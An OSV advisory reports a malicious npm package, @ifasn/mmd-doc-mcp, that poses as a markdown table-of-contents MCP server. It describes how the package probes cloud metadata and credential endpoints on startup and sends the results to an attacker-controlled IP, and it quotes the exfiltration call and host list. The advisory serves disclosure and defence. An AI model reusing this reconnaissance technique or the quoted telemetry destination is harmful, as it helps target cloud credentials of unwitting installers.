MAL-2026-18488

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@ifasn/mmd-doc-mcp/MAL-2026-18488.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-18488
Published
2026-11-02T20:59:54Z
Modified
2026-11-02T21:15:06Z
Summary
Malicious code in @ifasn/mmd-doc-mcp (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7)

On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM security-credentials/ role path) under variables named HEALTH_PROBES/CONFIG_NODES, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via pingTelemetry("?stage=report&src=mmd-doc-mcp&nodes=" + results.join(",")) to TELEMETRY_HOSTS = ["http://121.199.24.94.nip.io", "http://121.199.24.94"]. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (configSync, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-022511",
            "import_time":  "2026-11-02T21:10:56.712068848Z",
            "modified_time":  "2026-11-02T21:01:06Z",
            "sha256":  "405cdeb444a83f5bd2eb604feae38448230773dfa10a7a6ebc11b1ff4cea7d43",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.0"
            ]
        },
        {
            "id":  "IN-MAL-2026-022502",
            "import_time":  "2026-11-02T21:10:55.99790764Z",
            "modified_time":  "2026-11-02T20:59:54Z",
            "sha256":  "e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.2"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @ifasn/mmd-doc-mcp

Package

Name
@ifasn/mmd-doc-mcp
View open source insights on deps.dev
Purl
pkg:npm/%40ifasn/mmd-doc-mcp

Affected ranges

Affected versions

1.*
1.0.0
1.0.2

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "index.js",
            "sha256":  "319948c35b452af8be4ddc69ba4e5b9ad5af2449304293d33880db4abd859c82",
            "tlsh":  "57e1b746a4fb24380269d074854bc81ff2b557133445daa5f68cc2993f894a8c6ebbfd"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "mmd-doc-mcp-1.0.0.tgz",
            "hashes":  {
                "sha1":  "d3a5f80cdcb9f5bf87d46e6de30194f16001ab15",
                "sha512_sri":  "sha512-JTWI+TywxtGt8amwyDHbifxaJ8yfZSMgz/VcvmyDtfUtYST6IjdH1+qh83Po2+965lkggL/LQ0zSLaDIMew+Hw=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@ifasn/mmd-doc-mcp/MAL-2026-18488.json"